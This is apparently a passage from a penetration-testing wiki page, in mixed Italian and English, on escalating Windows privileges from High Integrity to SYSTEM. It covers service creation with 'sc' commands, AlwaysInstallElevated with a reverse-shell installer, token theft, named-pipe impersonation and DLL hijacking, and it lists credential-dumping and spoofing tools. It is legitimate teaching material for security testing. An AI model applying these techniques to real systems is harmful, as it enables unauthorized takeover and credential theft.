Da High Integrity a SYSTEM
Nuovo servizio
Se stai già eseguendo un processo High Integrity, il percorso verso SYSTEM può essere semplice semplicemente creando ed eseguendo un nuovo servizio:
sc create newservicename binPath= "C:\windows\system32\notepad.exe"
sc start newservicename
Tip
Quando crei un service binary assicurati che sia un servizio valido o che il binary esegua le azioni necessarie abbastanza velocemente poiché verrà terminato in 20s se non è un servizio valido.
AlwaysInstallElevated
Da un processo High Integrity puoi provare a abilitare le voci di registro AlwaysInstallElevated e installare una reverse shell usando un wrapper .msi.
More information about the registry keys involved and how to install a .msi package here.
High + SeImpersonate privilege to System
Puoi find the code here.
From SeDebug + SeImpersonate to Full Token privileges
Se possiedi quei token privileges (probabilmente li troverai in un processo già High Integrity), sarai in grado di aprire quasi qualsiasi process (non i protected processes) con il privilegio SeDebug, copiare il token del processo, e creare un processo arbitrario con quel token.
L'uso di questa tecnica solitamente seleziona un processo in esecuzione come SYSTEM con tutti i token privileges (sì, puoi trovare processi SYSTEM senza tutti i token privileges).
Puoi trovare un example of code executing the proposed technique here.
Named Pipes
Questa tecnica è usata da meterpreter per escalare in getsystem
. La tecnica consiste nel creare una pipe e poi creare/abusare un service per scrivere su quella pipe. Poi, il server che ha creato la pipe usando il privilegio SeImpersonate
sarà in grado di impersonare il token del client della pipe (il service) ottenendo i privilegi SYSTEM.
Se vuoi learn more about name pipes you should read this.
Se vuoi leggere un esempio di how to go from high integrity to System using name pipes you should read this.
Dll Hijacking
Se riesci a hijackare una dll che viene caricata da un process in esecuzione come SYSTEM potrai eseguire codice arbitrario con quei permessi. Pertanto Dll Hijacking è utile anche per questo tipo di escalation di privilegi e, inoltre, è molto più facile da ottenere da un processo High Integrity poiché avrà permessi di scrittura sulle cartelle usate per caricare le dll.
You can learn more about Dll hijacking here.
From Administrator or Network Service to System
- https://github.com/sailay1996/RpcSsImpersonator
- https://decoder.cloud/2020/05/04/from-network-service-to-system/
- https://github.com/decoder-it/NetworkServiceExploit
From LOCAL SERVICE or NETWORK SERVICE to full privs
Read: https://github.com/itm4n/FullPowers
Ulteriore aiuto
Strumenti utili
Miglior strumento per cercare Windows local privilege escalation vectors: WinPEAS
PS
PrivescCheck
PowerSploit-Privesc(PowerUP) -- Controlla misconfigurazioni e file sensibili (check here). Rilevato.
JAWS -- Controlla alcune possibili misconfigurazioni e raccoglie info (check here).
privesc -- Controlla misconfigurazioni
SessionGopher -- Estrae informazioni sulle sessioni salvate di PuTTY, WinSCP, SuperPuTTY, FileZilla e RDP. Usa -Thorough in locale.
Invoke-WCMDump -- Estrae credenziali dal Credential Manager. Rilevato.
DomainPasswordSpray -- Effettua password spray delle password raccolte sul dominio
Inveigh -- Inveigh è uno strumento PowerShell per spoofing ADIDNS/LLMNR/mDNS/NBNS e man-in-the-middle.
WindowsEnum -- Enumerazione Windows di base per privesc
Sherlock ~~ ~~ -- Cerca vulnerabilità privesc note (DEPRECATED for Watson)
WINspect -- Controlli locali (Need Admin rights)
Exe
Watson -- Cerca vulnerabilità privesc note (necessita compilazione con VisualStudio) (precompiled)
SeatBelt -- Esegue l'enumerazione dell'host alla ricerca di misconfigurazioni (più uno strumento di raccolta info che di privesc) (necessita compilazione) (precompiled)
LaZagne -- Estrae credenziali da molti software (exe precompilato su github)
SharpUP -- Port di PowerUp in C#
Beroot ~~ ~~ -- Controlla misconfigurazioni (eseguibile precompilato su github). Non raccomandato. Non funziona bene su Win10.
Windows-Privesc-Check -- Controlla possibili misconfigurazioni (exe da python). Non raccomandato. Non funziona bene su Win10.
Bat
winPEASbat -- Strumento creato basato su questo post (non necessita di accesschk per funzionare correttamente ma può usarlo).
Local
Windows-Exploit-Suggester -- Legge l'output di systeminfo e suggerisce exploit funzionanti (python locale)
Windows Exploit Suggester Next Generation -- Legge l'output di systeminfo e suggerisce exploit funzionanti (python locale)
Meterpreter
multi/recon/local_exploit_suggestor
Devi compilare il progetto usando la versione corretta di .NET (see this). Per vedere la versione di .NET installata sull'host vittima puoi fare:
C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line
Riferimenti
-
http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html
-
https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_windows.html
-
https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/
-
https://github.com/netbiosX/Checklists/blob/master/Windows-Privilege-Escalation.md
-
https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/
-
http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html
-
HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE) and kernel token theft
{{#include ../../banners/hacktricks-training.md}}